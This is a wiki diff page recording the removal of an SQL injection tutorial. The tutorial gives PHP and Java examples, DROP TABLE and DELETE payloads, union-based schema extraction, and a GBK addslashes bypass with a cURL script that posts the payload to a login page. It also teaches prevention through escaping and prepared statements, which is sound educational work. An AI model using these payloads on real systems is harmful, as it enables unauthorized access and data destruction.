Differences

This shows you the differences between two versions of the page.

--- sql_injection:example_attacks [2016/10/13 10:39] – [injection prevention - MySQLi] peter
+++ sql_injection:example_attacks [2020/04/16 20:52] (current) – removed peter
@@ Line 1: / Line 1: @@
-====== SQL Injection - Example attacks ======
-===== Basic SQLi attack =====
-If user input is inserted without modification into an SQL query, then the application becomes vulnerable to SQL injection, like in the following example:
-<code php>
-$unsafe_variable = $_POST['user_input'];
-mysql_query("INSERT INTO `table` (`column`) VALUES ('$unsafe_variable')");
-</code>
-That's because the user can input something like
-<code php>
-value'); DROP TABLE table;--
-</code>
-and the query becomes:
-<code sql>
-INSERT INTO `table` (`column`) VALUES('value'); DROP TABLE table;--')
-</code>
-===== SQL injection example =====
-Here is a sample string that has been gathered from a normal user and a bad user trying to use SQL Injection. We asked the users for their login, which will be used to run a SELECT statement to get their information.
-MySQL & PHP Code:
-<code php>
-// A good user's name.
-$name = "john";
-$query = "SELECT * FROM customers WHERE username = '$name'";
-echo "Normal: " . $query . "<br />";
-// User input that uses SQL Injection.
-$name_bad = "' OR 1'";
-// Our MySQL query builder, however, not a very safe one.
-$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";
-// Display what the new query will look like, with injection.
-echo "Injection: " . $query_bad;
-</code>
-Displays:
-<code sql>
-Normal: SELECT * FROM customers WHERE username = 'john'
-Injection: SELECT * FROM customers WHERE username = '' OR 1''
-</code>
-The normal query is no problem, as our MySQL statement will just select everything from customers that has a username equal to john.
-However, the injection attack has actually made our query behave differently than we intended.  By using a single quote (') they have ended the string part of our MySQL query.
-  * username = ' '// // and then added on to our WHERE statement with an OR clause of 1 which is always true.
-  * username = ' ' OR 1// This OR clause of 1 will always be true and so every single entry in the "customers" table would be selected by this statement!//
-==== A more serious SQL injection attack ====
-Although the above example displayed a situation where an attacker could possibly get access to a lot of information they shouldn't have, the attacks can be a lot worse.  For example an attacker could empty out a table by executing a **DELETE** statement.
-MySQL & PHP Code:
-<code php>
-$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";
-// Our MySQL query builder really should check for injection.
-$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
-// The new evil injection query would include a DELETE statement.
-echo "Injection: " . $query_evil;
-</code>
-Displays:
-<code sql>
-SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1 or username = ' '
-</code>
-If you were run this query, then the injected DELETE statement would completely empty your "customers" table.  Now that you know this is a problem, how can you prevent it?
-==== injection prevention - mysql_real_escape_string() ====
-This problem has been known for a while and PHP has a specially-made function to prevent these attacks.  All you need to do is use the function **[[http://php.net/mysql_real_escape_string|mysql_real_escape_string]]**.
-What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and returns the same string with all SQL Injection attempts safely escaped.  Basically, it will replace those troublesome quotes(') a user might enter with a MySQL-safe substitute, an escaped quote \'.
-Lets try out this function on our two previous injection attacks and see how it works.
-MySQL & PHP Code:
-<code php>
-//NOTE: you must be connected to the database to use this function!
-// connect to MySQL
-$name_bad = "' OR 1'";
-$name_bad = mysql_real_escape_string($name_bad);
-$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";
-echo "Escaped Bad Injection: <br />" . $query_bad . "<br />";
-$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";
-$name_evil = mysql_real_escape_string($name_evil);
-$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
-echo "Escaped Evil Injection: <br />" . $query_evil;
-</code>
-Displays:
-<code sql>
-Escaped Bad Injection:
-SELECT * FROM customers WHERE username = '\' OR 1\''
-Escaped Evil Injection:
-SELECT * FROM customers WHERE username = '\'; DELETE FROM customers WHERE 1 or username = \''
-</code>
-Notice that those evil quotes have been escaped with a backslash \, preventing the injection attack.  Now all these queries will do is try to find a username that is just completely ridiculous:
-  * Bad: \' OR 1\'
-  * Evil: \'; DELETE FROM customers WHERE 1 or username = \'
-The handy **mysql_real_escape_string()** function has helped prevent SQL Injection attacks on your websites.
-==== injection prevention - MySQLi ====
-The **mysql_real_escape_string()** function has been obsoleted in more recent versions of PHP.  MySQLi supports parameterized queries.  These days the mysql_real_escape_string option would only make sense for legacy code on an old version of PHP.
-Instead of
-<code php>
-$unsafe_variable = $_POST["user-input"];
-$safe_variable = mysql_real_escape_string($unsafe_variable);
-mysql_query("INSERT INTO table (column) VALUES ('" . $safe_variable . "')");
-</code>
-use this:
-<code php>
-<?php
-  $mysqli = new mysqli("server", "username", "password", "database_name");
-  // TODO - Check that connection was successful.
-  $unsafe_variable = $_POST["user-input"];
-  $stmt = $mysqli->prepare("INSERT INTO table (column) VALUES (?)");
-  // TODO check that $stmt creation succeeded.
-  // "s" means the database expects a string
-  $stmt->bind_param("s", $unsafe_variable);
-  $stmt->execute();
-  $stmt->close();
-  $mysqli->close();
-?>
-</code>
-The key function to read up on there would be [[http://php.net/mysqli.prepare|mysqli::prepare]].
-A better alternative is to use [[http://php.net/pdo|PDO]].
-===== Example attacks =====
-**Scenario #1**: The application uses untrusted data in the construction of the following vulnerable SQL call:
-<code java>
-String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
-</code>
-**Scenario #2**: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):
-<code sql>
-Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");
-</code>
-In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1.
-For example:  http://example.com/app/accountView?id=' or '1'='1
-This changes the meaning of both queries to return all the records from the accounts table.   More dangerous attacks could modify data or even invoke stored procedures.
-**Scenario #3**:  Code to do an insert into the database could also be vulnerable.
-<code sql>
-$sql = "INSERT INTO Students (Name) VALUES ('" . $studentName . "');";
-execute_sql($sql);
-</code>
-The first line creates a string containing an SQL INSERT statement. The content of the **$studentName** variable is glued into the SQL statement. The second line sends the resulting SQL statement to the database. The pitfall of this code is that outside data, in this case the content of $studentName, becomes part of the SQL statement.
-First let's see what the SQL statement looks like if we insert a student named John:
-<code sql>
-INSERT INTO Students (Name) VALUES ('John');
-</code>
-This does exactly what we want: it inserts John into the Students table.
-Now we insert some injection code by setting $studentName to **<nowiki>Robert'); DROP TABLE Students;--</nowiki>**. The SQL statement becomes:
-<code sql>
-INSERT INTO Students (Name) VALUES ('Robert'); DROP TABLE Students;--');
-</code>
-This inserts Robert into the Students table. However, the INSERT statement is now followed by a **DROP TABLE** statement which removes the entire Students table. Ouch!
-===== Attack against PHP addslashes =====
-In [[http://en.wikipedia.org/wiki/GBK|GBK]], 0xbf27 is not a valid multi-byte character, but 0xbf5c is.  Interpreted as single-byte characters, 0xbf27 is 0xbf (¿) followed by 0x27 ('), and 0xbf5c is 0xbf (¿) followed by 0x5c (\).
-How does this help? If I want to attempt an SQL injection attack against a MySQL database, having single quotes escaped with a backslash is a bummer. If you're using addslashes(), however, I'm in luck. All I need to do is inject something like 0xbf27, and addslashes() modifies this to become 0xbf5c27, a valid multi-byte character followed by a single quote. In other words, I can successfully inject a single quote despite your escaping. That's because 0xbf5c is interpreted as a single character, not two. Oops, there goes the backslash.
-I'm going to use MySQL 5.0 and PHP's mysqli extension for this demonstration. If you want to try this yourself, make sure you're using GBK. I just changed /etc/my.cnf, but that's because I'm testing locally:
-<file bash /etc/my.cnf>
-[client]default-character-set=GBK
-</file>
-Create a table called users:
-<code mysql>
-CREATE TABLE users (
-  username VARCHAR(32) CHARACTER SET GBK,
-  password VARCHAR(32) CHARACTER SET GBK,
-  PRIMARY KEY (username));
-</code>
-The following script mimics a situation where only **addslashes()** (or **magic_quotes_gpc**) is used to escape the data being used in a query:
-<code php>
-<?php
-  $mysql = array();
-  $db = mysqli_init();
-  $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); /* SQL Injection Example */
-  $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';$_POST['password'] = 'guess';
-  $mysql['username'] = addslashes($_POST['username']);
-  $mysql['password'] = addslashes($_POST['password']);
-  $sql = "SELECT *
-          FROM   users
-          WHERE  username = '{$mysql['username']}'
-          AND    password = '{$mysql['password']}'";
-  $result = $db->query($sql);
-  if ($result->num_rows) {
-      /* Success */
-  }
-  else
-  {
-      /* Failure */
-  }
-?>
-</code>
-Despite the use of **addslashes()**, I'm able to log in successfully without knowing a valid username or password.  I can simply exploit the SQL injection vulnerability.
-The following PHP cURL script would be able to make use of the injection:
-<code php>
-<?php
-  $url     = "http://www.victimsite.com/login.php";
-  $ref     = "http://www.victimsite.com/index.php";
-  $session = "PHPSESSID=abcdef01234567890abcdef01";
-  $ch      = curl_init();
-  curl_setopt( $ch, CURLOPT_URL,            $url     );
-  curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
-  curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
-  curl_setopt( $ch, CURLOPT_COOKIE,         $session );
-  curl_setopt( $ch, CURLOPT_POST,           TRUE     );
-  curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
-                                            "OR 1=1/*&submit=1" );
-  $data = curl_exec( $ch );
-  print( $data );
-  curl_close( $ch );
-?>
-</code>
-To avoid this type of vulnerability, use **mysql_real_escape_string()**, prepared statements, or any of the major database abstraction libraries.
-See also http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html
-This points out the additional risk associated with changing the character set via an SQL query:
-<code mysql>
-SET CHARACTER SET 'GBK'
-</code>
-Doing so does not affect **mysql_real_escape_string()**, which will still use ISO-8859-1, just like **addslashes()**.
-Just use **mysql_set_character_set()**.
-http://dev.mysql.com/doc/refman/5.0...racter-set.html
-> This function works like the SET NAMES statement, but also sets the value of mysql->charset, and thus affects the character set used by **mysql_real_escape_string()**.
-The function in php with mysqli is **mysqli_set_charset()**.
-http://www.php.net/manual/en/functi...set-charset.php
-The "old" mysql does not support this function :\
-<code php>
-<?php
-mysql_connect("localhost", "root", "");
-mysql_query("SET NAMES gbk") or die(mysql_error());
-$file = fopen("test.txt", "w");
-fwrite($file, mysql_real_escape_string(chr(0xbf).chr(0x27)));
-fclose($file);
-?>
-</code>
-===== Other attacks =====
-Passing the following in as input.
-<code php>
- -1 union all select table_name from information_schema.tables
-</code>
-and now just extract table structure:
-<code sql>
-SELECT ... WHERE id = -1 union all select column_name from information_schema.column where table_name = 0x61727469636c65
-</code>
-===== References =====
-  * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
-  * http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html